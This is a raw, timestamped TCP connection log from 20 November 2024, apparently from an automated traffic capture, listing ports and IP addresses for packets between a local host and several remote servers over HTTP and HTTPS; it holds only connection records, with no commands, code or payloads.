Nov 20, 2024 16:51:04.435698032 CET	49826	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.435709000 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.435791016 CET	49826	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.516489983 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.516593933 CET	49826	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.516599894 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.516697884 CET	49826	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.518605947 CET	49826	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.518616915 CET	443	49826	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.519978046 CET	49829	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:04.520024061 CET	443	49829	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:04.520173073 CET	49829	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:04.520648956 CET	49829	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:04.520667076 CET	443	49829	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:04.527218103 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.527246952 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.527292013 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.527311087 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.527338982 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.527354956 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.528806925 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.528844118 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.528886080 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.528906107 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.528944969 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.529237032 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.555089951 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.555129051 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.555169106 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.555176020 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.555213928 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.555219889 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.557754040 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.557781935 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.557826042 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.557843924 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.557867050 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.557878017 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.564414024 CET	49830	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:04.564446926 CET	443	49830	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:04.564558983 CET	49830	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:04.564747095 CET	49830	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:04.564758062 CET	443	49830	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:04.568377018 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.568449020 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.571369886 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.571439981 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.571458101 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.571480036 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.571531057 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.572009087 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.572026014 CET	443	49828	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.572038889 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.572067022 CET	49828	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.572714090 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.572781086 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.572782040 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.572880030 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.575331926 CET	49827	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:04.575342894 CET	443	49827	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:04.744168997 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:04.744225979 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:04.772887945 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:04.895235062 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:05.129129887 CET	49831	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:05.129175901 CET	443	49831	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:05.129256964 CET	49831	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:05.129559040 CET	49831	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:05.129575014 CET	443	49831	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:05.223634958 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:05.223701954 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:05.227229118 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:05.246195078 CET	49833	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:05.246233940 CET	443	49833	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:05.246335983 CET	49833	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:05.246634960 CET	49833	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:05.246650934 CET	443	49833	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:05.347040892 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:05.347137928 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:05.347302914 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:05.467328072 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:05.797142029 CET	49834	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:05.797178984 CET	443	49834	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:05.797323942 CET	49834	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:05.798182964 CET	49834	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:05.798197031 CET	443	49834	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.256356001 CET	443	49829	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.256582022 CET	49829	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.256607056 CET	443	49829	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.256962061 CET	443	49829	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.257335901 CET	49829	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.257390976 CET	443	49829	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.257478952 CET	49829	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.257528067 CET	49829	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.257545948 CET	443	49829	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.297847033 CET	443	49830	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.298100948 CET	49830	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.298125029 CET	443	49830	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.298593998 CET	443	49830	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.298995972 CET	49830	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.299074888 CET	443	49830	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.299143076 CET	49830	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.299169064 CET	49830	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.299207926 CET	443	49830	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.746078014 CET	443	49829	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.746164083 CET	443	49829	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.746212006 CET	49829	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.746764898 CET	49829	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.746778011 CET	443	49829	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.753175020 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.753190041 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.753201962 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.753267050 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:06.753329992 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.753340960 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.753349066 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:06.753354073 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.753366947 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.753395081 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:06.753412008 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:06.754200935 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.754213095 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.754316092 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:06.754332066 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.754421949 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:06.777869940 CET	443	49831	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.778142929 CET	49831	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.778151035 CET	443	49831	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.779973984 CET	443	49831	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.780038118 CET	49831	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.780354023 CET	49831	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.780514002 CET	49831	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.780517101 CET	443	49831	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.780551910 CET	49831	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.780631065 CET	443	49831	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.780718088 CET	443	49831	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.780832052 CET	443	49830	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.781161070 CET	443	49830	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.781311989 CET	49830	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.781352997 CET	49830	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.781352997 CET	49830	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.781373978 CET	443	49830	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.781682014 CET	49830	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.822325945 CET	49831	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.822341919 CET	443	49831	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.869213104 CET	49831	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.873095989 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.873159885 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:06.873437881 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.873497009 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:06.899840117 CET	443	49833	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.900052071 CET	49833	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.900075912 CET	443	49833	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.901072025 CET	443	49833	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.901124954 CET	49833	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.901452065 CET	49833	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.901518106 CET	443	49833	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.901628971 CET	49833	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.901635885 CET	443	49833	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.901715994 CET	49833	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.901730061 CET	443	49833	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:06.947340012 CET	49833	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:06.952649117 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.952665091 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.952744961 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:06.956826925 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.956877947 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.956902027 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:06.956928968 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:06.967391014 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.967534065 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.967536926 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:06.967588902 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:06.976039886 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.976052999 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.976123095 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:06.984270096 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.984416962 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:06.984570026 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.984617949 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:06.992733955 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.992827892 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.993040085 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:06.998418093 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.998507023 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:06.998533964 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:06.998716116 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.011359930 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.011372089 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.011446953 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.017857075 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.017997980 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.018032074 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.018156052 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.026375055 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.026429892 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.026551962 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.026632071 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.034646034 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.034748077 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.034941912 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.034998894 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.154055119 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.154151917 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.154205084 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.154330015 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.160437107 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.160506964 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.161581993 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.161621094 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.164819956 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.164833069 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.164875984 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.169970036 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.170034885 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.170166016 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.170222044 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.175102949 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.175154924 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.175285101 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.175342083 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.180053949 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.180064917 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.180144072 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.182625055 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.182718992 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.182777882 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.187681913 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.187745094 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.187772989 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.187863111 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.193406105 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.193454027 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.193469048 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.193495035 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.197835922 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.197882891 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.197936058 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.197973967 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.203152895 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.203166962 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.203208923 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.208125114 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.208146095 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.208193064 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.208193064 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.213262081 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.213274956 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.213346004 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.218286037 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.218357086 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.218364954 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.218514919 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.223371983 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.223422050 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.223459959 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.223505974 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.228642941 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.228655100 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.228734016 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.233679056 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.233745098 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.233767986 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.233831882 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.238862038 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.238876104 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.238945007 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.248358011 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.248372078 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.248609066 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.252152920 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.252213955 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.252230883 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.252348900 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.257318020 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.257329941 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.257381916 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.257381916 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.264368057 CET	443	49831	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:07.264441967 CET	443	49831	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:07.264555931 CET	49831	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:07.264913082 CET	49831	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:07.264930964 CET	443	49831	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:07.264940977 CET	49831	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:07.264983892 CET	49831	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:07.274342060 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.274419069 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.354819059 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.354877949 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.354933977 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.355006933 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.356862068 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.356884003 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.356928110 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.356928110 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.363987923 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.364051104 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.364146948 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.364267111 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.367449999 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.367552042 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.367639065 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.367707968 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.371581078 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.371643066 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.371732950 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.371990919 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.376009941 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.376076937 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.376166105 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.376215935 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.379717112 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.379867077 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.379872084 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.379930973 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.383799076 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.383811951 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.383872986 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.387520075 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.387531996 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.387636900 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.391415119 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.391427994 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.391474009 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.391500950 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.394083023 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.394094944 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.394159079 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.395479918 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.395579100 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.395582914 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.395709038 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.399302959 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.399444103 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.399482965 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.399548054 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.402956963 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.403043032 CET	49832	80	192.168.2.9	185.215.113.16
Nov 20, 2024 16:51:07.403196096 CET	80	49832	185.215.113.16	192.168.2.9
Nov 20, 2024 16:51:07.403243065 CET	49832	80	192.168.2.9	185.215.113.16
